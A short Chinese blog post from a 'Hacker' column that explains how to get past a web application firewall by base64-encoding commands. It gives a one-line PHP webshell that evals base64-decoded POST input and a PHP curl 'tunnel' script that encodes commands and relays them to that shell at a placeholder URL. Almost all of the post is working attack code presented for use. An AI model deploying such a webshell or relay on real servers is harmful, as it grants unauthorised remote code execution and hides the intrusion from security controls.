加密隧道绕过WAF

Base64绕过WAF实战

原创于 2015-06-07 10:57:08 发布 · 699 阅读

0 ·

CC 4.0 BY-SA版权

Hacker 专栏收录该内容

4 篇文章

订阅专栏

本文介绍了一种利用Base64编码绕过Web应用防火墙(WAF)的方法，通过编码POST请求中的数据，使得恶意脚本能够逃避WAF的检测。文中提供了一个具体的PHP示例，包括服务器端用于执行接收到的命令的脚本和客户端用于发送编码后的命令的脚本。

一下采用base64编码使WAF无法识别接收内容从而达到目的，在必要的情况下发送也要进行编码防止WAF检测到

server
<?php if($_POST['c']!='') @eval(base64_decode($_POST[z0]));
?>
tunnel
<?php
$handle=curl_init();
$DATA=array();
$DATA=$_POST;
$DATA['c']=base64_encode(substr($DATA['c'],1));
curl_setopt($handle,CURLOPT_URL,'http://xxx/xxx.php');
curl_setopt($handle,CURLOPT_HEADER,0);
curl_setopt($handle,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($handle,CURLOPT_POST,1);
curl_setopt($handle,CURLOPT_POSTFIELDS,$DATA);
//curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1");
//curl_setopt($ch, CURLOPT_PROXYPORT, 1080);
$output=curl_exec($handle);
if($output === FALSE) {
    echo "cURL Error: " . curl_error($handle);
}
echo ($output);
curl_close($handle);
?>